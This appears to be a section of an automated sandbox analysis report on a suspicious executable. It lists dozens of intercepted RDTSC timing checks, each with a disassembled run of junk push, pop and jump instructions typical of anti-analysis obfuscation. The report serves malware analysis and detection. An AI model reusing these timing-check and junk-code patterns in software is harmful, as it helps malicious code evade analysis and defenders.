Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79C860 second address: 79C875 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4246CBDE6h 0x00000008 jc 00007FB4246CBDE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79C875 second address: 79C87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79C87C second address: 79C885 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79C885 second address: 79C88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79CA14 second address: 79CA18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79CA18 second address: 79CA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79CA25 second address: 79CA29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79CA29 second address: 79CA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 715634 second address: 715638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 715638 second address: 71563C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71563C second address: 715646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 715646 second address: 71564A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71564A second address: 71567F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDECh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FB4246CBDF1h 0x00000015 jg 00007FB4246CBDE6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71567F second address: 715683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A1BA3 second address: 7A1BBD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jne 00007FB4246CBDE6h 0x00000011 jl 00007FB4246CBDE6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A1BBD second address: 7A1BED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FB424542846h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB424542858h 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 jp 00007FB424542846h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A1BED second address: 7A1BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A1D79 second address: 7A1D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A1D7D second address: 7A1D81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A6980 second address: 7A699C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB424542855h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A699C second address: 7A69C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jo 00007FB4246CBE0Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB4246CBDEAh 0x00000016 jmp 00007FB4246CBDF1h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A69C8 second address: 7A69CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A6B31 second address: 7A6B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FB4246CBDF4h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A6CB5 second address: 7A6CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AED1 second address: 75AF51 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4246CBDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FB4246CBDE8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+1248EF7Ch] 0x0000002e mov edi, 6A1DABC2h 0x00000033 add eax, ebx 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007FB4246CBDE8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov dword ptr [ebp+12466288h], ebx 0x00000055 push eax 0x00000056 push edi 0x00000057 jne 00007FB4246CBDECh 0x0000005d pop edi 0x0000005e mov dword ptr [esp], eax 0x00000061 mov cx, bx 0x00000064 push 00000004h 0x00000066 mov ecx, dword ptr [ebp+122D1A83h] 0x0000006c mov cx, ax 0x0000006f push eax 0x00000070 push ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AF51 second address: 75AF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A7122 second address: 7A7130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB4246CBDE6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A7130 second address: 7A7148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB42454284Bh 0x00000009 jp 00007FB424542846h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7A7148 second address: 7A714D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7ABAD7 second address: 7ABADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7ABADF second address: 7ABAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7ABAEA second address: 7ABAEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AAD52 second address: 7AAD69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AAD69 second address: 7AAD83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB424542852h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AAED4 second address: 7AAF0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 jmp 00007FB4246CBDF6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007FB4246CBDE8h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AB33D second address: 7AB353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB42454284Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AB353 second address: 7AB358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7AB358 second address: 7AB39E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB424542852h 0x00000008 jbe 00007FB424542846h 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FB424542858h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d jno 00007FB424542846h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B36B8 second address: 7B36C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4246CBDEDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B196D second address: 7B1975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1975 second address: 7B19A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB4246CBDF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b jne 00007FB4246CBDECh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1ADE second address: 7B1AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1AE4 second address: 7B1AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1AE8 second address: 7B1AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1C2A second address: 7B1C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B1F23 second address: 7B1F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B2199 second address: 7B219D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B26E3 second address: 7B2702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007FB424542854h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B2702 second address: 7B270C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB4246CBDE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B2BED second address: 7B2BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B2BF1 second address: 7B2BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B89D6 second address: 7B89F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB42454284Fh 0x00000009 popad 0x0000000a jo 00007FB42454285Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B89F2 second address: 7B8A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4246CBDF0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B8A06 second address: 7B8A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB42454284Ah 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7B8A20 second address: 7B8A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BA0BC second address: 7BA0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BCE1E second address: 7BCE26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BCE26 second address: 7BCE3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BCE3C second address: 7BCE42 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BD6A2 second address: 7BD6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007FB42454284Ch 0x0000000b pop ecx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BD6B9 second address: 7BD6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BD7F8 second address: 7BD82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FB424542859h 0x0000000b jmp 00007FB42454284Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FB424542846h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BD82C second address: 7BD83C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7BD9B6 second address: 7BD9DD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB424542861h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C548D second address: 7C5491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C5491 second address: 7C54A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3809 second address: 7C3836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnl 00007FB4246CBDE6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FB4246CBDF9h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3836 second address: 7C383A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C383A second address: 7C384A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007FB4246CBE15h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3CEE second address: 7C3CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3CF2 second address: 7C3CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3CF8 second address: 7C3CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3CFE second address: 7C3D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4246CBDECh 0x00000009 jp 00007FB4246CBDE6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C3E6B second address: 7C3E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C4535 second address: 7C453C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7C453C second address: 7C4542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7CC634 second address: 7CC657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB4246CBDF4h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7CC657 second address: 7CC663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FB424542846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7CC663 second address: 7CC669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7CC669 second address: 7CC66D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D951F second address: 7D9523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D9523 second address: 7D953B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB424542846h 0x00000012 jng 00007FB424542846h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D953B second address: 7D9556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D9556 second address: 7D955C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D955C second address: 7D9585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4246CBDF6h 0x00000009 jmp 00007FB4246CBDEFh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D911B second address: 7D911F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D911F second address: 7D9128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D927D second address: 7D9293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424542852h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D9293 second address: 7D9297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
